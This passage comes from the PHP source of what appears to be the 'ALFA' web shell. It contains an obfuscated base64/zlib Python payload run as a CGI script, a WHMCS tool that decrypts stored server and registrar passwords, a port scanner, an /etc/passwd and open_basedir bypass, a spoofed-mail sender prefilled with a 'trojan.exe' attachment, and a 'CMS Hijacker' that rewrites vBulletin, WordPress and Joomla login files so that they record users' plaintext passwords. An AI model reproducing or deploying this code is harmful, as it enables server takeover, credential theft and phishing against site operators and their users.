vbemPi0SdkxrCxPgJWU3XgxRvQ1I1MvE1VCaBN8QC7AWndRnGsMlJo+GU13GzKFLLK+JQxtpLaSEbt1lfHJLt1b1Kz/w8wblS+FRoAAA==")));';;
$py = '#!/usr/bin/python'."\nimport zlib, base64\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
if($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;}
if(__write_file($name,$code)){
@chmod($name,0755);
echo '<iframe src="'.__ALFA_DATA_FOLDER__.'/cgialfa/'.$name.'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
}
}
echo $div;
alfafooter();
}
function alfaWhmcs(){
alfahead();
echo '<div class=header>';
function decrypt($string,$cc_encryption_hash){
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen ($hash_key);
$string = __ZGVjb2Rlcg($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash($string)
{
if(function_exists('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>".getConfigHtml('whmcs')."</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
<input type='hidden' name='form_action' value='2'>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
if($_POST['alfa5']!=''){
$db_host=($_POST['alfa7']);
$db_username=($_POST['alfa3']);
$db_password=($_POST['alfa4']);
$db_name=($_POST['alfa5']);
$cc_encryption_hash=($_POST['alfa6']);
echo __pre();
$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));
$query = mysqli_query($conn,"SELECT * FROM tblservers");
$num = mysqli_num_rows($query);
if ($num > 0){
for($i=0; $i <=$num-1; $i++){
$v = @mysqli_fetch_array($query);
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
echo "</table><br><br></center>";
}
$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");
$num1 = @mysqli_num_rows($query1);
if ($num1 > 0){
for($i=0; $i <=$num1 -1; $i++){
$v = mysqli_fetch_array($query1);
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt($v['value'], $cc_encryption_hash);
if ($value==""){
$value=0;
}
echo("<center>Domain Reseller <br><center>");
echo("<center><table border='1'>");
echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
echo "</table><br><br></center>";
}
}
}else{__alert('<font color="red">tblservers is Empty...!</font>');};
}
echo "</div>";
alfafooter();
}
function alfaportscanner(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
<form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
<input type="hidden" name="y" value="phptools">
<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
<div class="txtfont">Port start: </div> <input id="text" size="5" type="text"  name="start" value="80"/>
<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
</form></center><br>';
$start = strip_tags($_POST['alfa2']);
$end = strip_tags($_POST['alfa3']);
$host = strip_tags($_POST['alfa4']);
if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){
echo __pre();
$packetContent = "GET / HTTP/1.1\r\n\r\n";
if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
for($i = $start; $i<=$end; $i++){
$sock = @fsockopen($host, $i, $errno, $errstr, 3);
if($sock){
stream_set_timeout($sock, 5);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="")$counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
echo "<p><textarea style='height:140px;width:50%;'>".$bin."</textarea></p></center>";
}
flush();
}
}
echo '</div>';
alfafooter();
}
function alfacgihtaccess($m,$d='', $symname=false){
$readme = "";
if($symname){$readme="\nReadmeName ".trim($symname);}
if($m=='cgi'){
$code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
}elseif($m=='sym'){
$code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
}elseif($m=='shtml'){
$code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
}
@__write_file($d . ".htaccess", $code);
}
function alfabasedir(){
alfahead();
echo '<div class=header>
<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
$passwd = _alfa_file('/etc/passwd');
if(is_array($passwd)){
$users = array();
$makepwd = alfaMakePwd();
$basedir = @ini_get('open_basedir');
$safe_mode = @ini_get('safe_mode');
if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){
$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);
$bash_users  = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);
$users = json_decode($bash_users, true);
$x=count($users);
if($x>=2){array_pop($users);--$x;}
}
if(!$basedir&&!$safe_mode){
$x=0;
foreach($passwd as $str){
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = str_replace("{user}", $username, $makepwd);
if(($username != '')){
if (@is_readable($dirz)){
array_push($users,$username);
$x++;
}}}
}
echo '<br><br>';
echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\n"."<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\n"."<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
foreach($users as $user){
if(empty($user))continue;
$path = str_replace("{user}", $user, $makepwd);
echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
}
}else{echo('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');}
echo '<br><br></b>';
echo '</div>';
alfafooter();
}
function alfamail(){
alfahead();
echo '<div class=header>';
AlfaNum(8,9,10);
echo '<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">';
$table = array(
'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60','placeholder' => true),
'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true),
'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'),
'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'),
'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60')
);
create_table($table);
echo '<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>';
if(isset($_POST['alfa4'])&&($_POST['alfa4'] == '>>')){
$mail_to = $_POST['alfa1'];
$mail_from = $_POST['alfa2'];
$mail_subject = $_POST['alfa3'];
$mail_content = $_POST['alfa5'];
$count_mail = (int)$_POST['alfa6'];
$mail_attach = $_POST['alfa7'];
if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){
if(!empty($mail_attach)&&@is_file($mail_attach)){
$file = $mail_attach;
$content = __read_file($file);
$content = chunk_split(__ZW5jb2Rlcg($content));
$uid = md5(uniqid(time()));
$filename = basename($file);
$headers  = "From: ".$mail_from." <".$mail_from.">\r\n";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
$headers .= "Reply-To: ".$mail_from."\r\n";
$headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'X-Mailer: php' . "\r\n";
$mail_content  = "--".$uid."\r\n";
$mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$mail_content .= $mail_content."\r\n\r\n";
$mail_content .= "--".$uid."\r\n";
$mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n";
$mail_content .= "Content-Transfer-Encoding: base64\r\n";
$mail_content .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
$mail_content .= $content."\r\n\r\n";
$mail_content .= "--".$uid."--";
}else{
$headers  = "From: " . $mail_from. " ( ".$mail_from." ) \r\n";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
$headers .= 'Reply-To: '.$mail_from.'' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'X-Mailer: php' . "\r\n";
}
if(empty($count_mail)||$count_mail<1)$count_mail=1;
if(!empty($mail_from)){echo __pre();
for($i=1;$i<=$count_mail;$i++){
if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");
}}else{__alert("Invalid Mail From !");}
}else{__alert("Invalid Mail To !");}
}
echo('</div>');
alfafooter();
}
function alfaziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell Compress-Archive -Path '".addslashes($dirzip)."' -DestinationPath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif(class_exists('ZipArchive')){
if(__alfaziper($dirzip, $zipfile)){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function __alfaziper($source,$destination){
	if(!extension_loaded('zip')||!file_exists($source)){
		return false;
	}
	$zip=new ZipArchive();
	if(!$zip->open($destination,ZIPARCHIVE::CREATE)){
		return false;
	}
	$source=str_replace('\\','/',realpath($source));
	if(is_dir($source)===true){
		$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);
		foreach($files as $file){
			$file=str_replace('\\','/',$file);
			if(in_array(substr($file,strrpos($file,'/')+1),array('.','..')))continue;
			$file=realpath($file);
			if(is_dir($file)===true){
				$zip->addEmptyDir(str_replace($source.'/','',$file.'/'));
			}else if(is_file($file)===true){
				$zip->addFromString(str_replace($source.'/','',$file),file_get_contents($file));
			}
		}
	}else if(is_file($source)===true){
		$zip->addFromString(basename($source),file_get_contents($source));
	}
	return $zip->close();
}
function alfadeziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if(@!is_dir($zipfile)){
	@mkdir($zipfile, 0777, true);
}
$finfo = "";
$file_type = "";
if(function_exists('finfo_open')){
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
$file_type = @finfo_file($finfo, $dirzip);
@finfo_close($finfo);
}else{
	if($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
		$file_type = alfaEx('file -b --mime-type ' . $dirzip);
	}
}
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell expand-archive -path '".addslashes($dirzip)."' -destinationpath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){
switch ($file_type) {
	case 'application/zip':
		alfaEx("cd '".addslashes($zipfile)."';unzip '".addslashes($dirzip)."'");
	break;
	case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
		if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){
			alfaEx("cd '".addslashes($zipfile)."';tar xzf '".addslashes($dirzip)."'");
		}else{
			alfaEx("cd '".addslashes($zipfile)."';gunzip '".addslashes($dirzip)."'");
		}
	break;
}
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></b></p></center>';
}elseif(class_exists('ZipArchive')){
	$itsok = false;
	if(emtpy($file_type)){
		$file_type = "application/zip";
	}
	switch ($file_type) {
		case 'application/zip':
			$zip = new ZipArchive;
			$res = $zip->open($dirzip);
			if ($res) {
				$zip->extractTo($zipfile);
				$zip->close();
				$itsok = true;
			}
		break;
		case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
			if(strstr(basename($dirzip), ".tar.gz")){
				$new_file = $zipfile .'/'. basename($dirzip);
				@copy($dirzip, $new_file);
				$new_tar = str_replace(".tar.gz", ".tar", $new_file);
				try {
					$p = new PharData($new_file);
					$p->decompress();
					$phar = new PharData($new_tar);
					$phar->extractTo($zipfile);
					@unlink($new_file);
					@unlink($new_tar);
					$itsok = true;
				} catch (Exception $e) {
				}
			}else{
				try {
					$phar = new PharData($dirzip);
					$phar->extractTo($zipfile);
					$itsok = true;
				} catch (Exception $e) {
				}
			}
		break;
	}
if($itsok){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function alfacmshijacker(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo '<div class=header><br>
<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">';
$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");
foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
echo("</select>");
echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="'.$GLOBALS['cwd'].'alfa.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>';
$cms = $_POST['alfa1'];
$saveto = $_POST['alfa2'];
$cmspath = $_POST['alfa4'];
if(!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>'){
echo __pre();
alfaHijackCms($cms,$cmspath,$saveto);
}
echo '</div>';
alfafooter();
}
function alfaHijackCms($cms,$cmspath,$saveto){
switch($cms){
case "vb":
hijackvBulletin($cmspath,$saveto);
break;
case "wp":
hijackwp($cmspath,$saveto);
break;
case "jom":
hijackJoomla($cmspath,$saveto);
break;
case "whmcs":
hijackWhmcs($cmspath,$saveto);
break;
case "mybb":
hijackMybb($cmspath,$saveto);
break;
case "ipb":
hijackIPB($cmspath,$saveto);
break;
case "phpbb":
hijackPHPBB($cmspath,$saveto);
break;
default:
echo "error!";
break;
}
}
function hijackvBulletin($path,$saveto){
$code='$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' .  $alfa_password." (" . $row["email"] . ")\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
$code=str_replace('{saveto_path}',$saveto,$code);
$login = $path."/login.php";
$class = $path."/includes/class_bootstrap.php";
$dologin = 'do_login_redirect();';
$evil_login = "\t".$code."\n\t".$dologin;
$evil_class = "true";
if((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){
$data_login = @file_get_contents($login);
$data_class = @file_get_contents($class);
if(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){
$login_replace = str_replace($dologin,$evil_login, $data_login);
$class_replace = str_replace($clearpw,$evil_class, $data_class);
@file_put_contents($login, $login_replace);
@file_put_contents($class, $class_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackwp($path,$saveto){
$code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$redirect_wp = '#if[ ]{0,}\([ ]{0,}![ ]{0,}is_wp_error\([ ]{0,}\$user[ ]{0,}\)[ ]{0,}&&[ ]{0,}![ ]{0,}\$reauth[ ]{0,}\)[ ]{0,}{#';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/wp-login.php";
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(@preg_match($redirect_wp, $data_login, $match)){
$evil_login = "\t".$match[0]."\n\t".$code;
$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackJoomla($path,$saveto){
$code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$comp=$path."/administrator/components/com_login/";
if(@is_file($comp."/login.php")){
$login = $comp."/login.php";
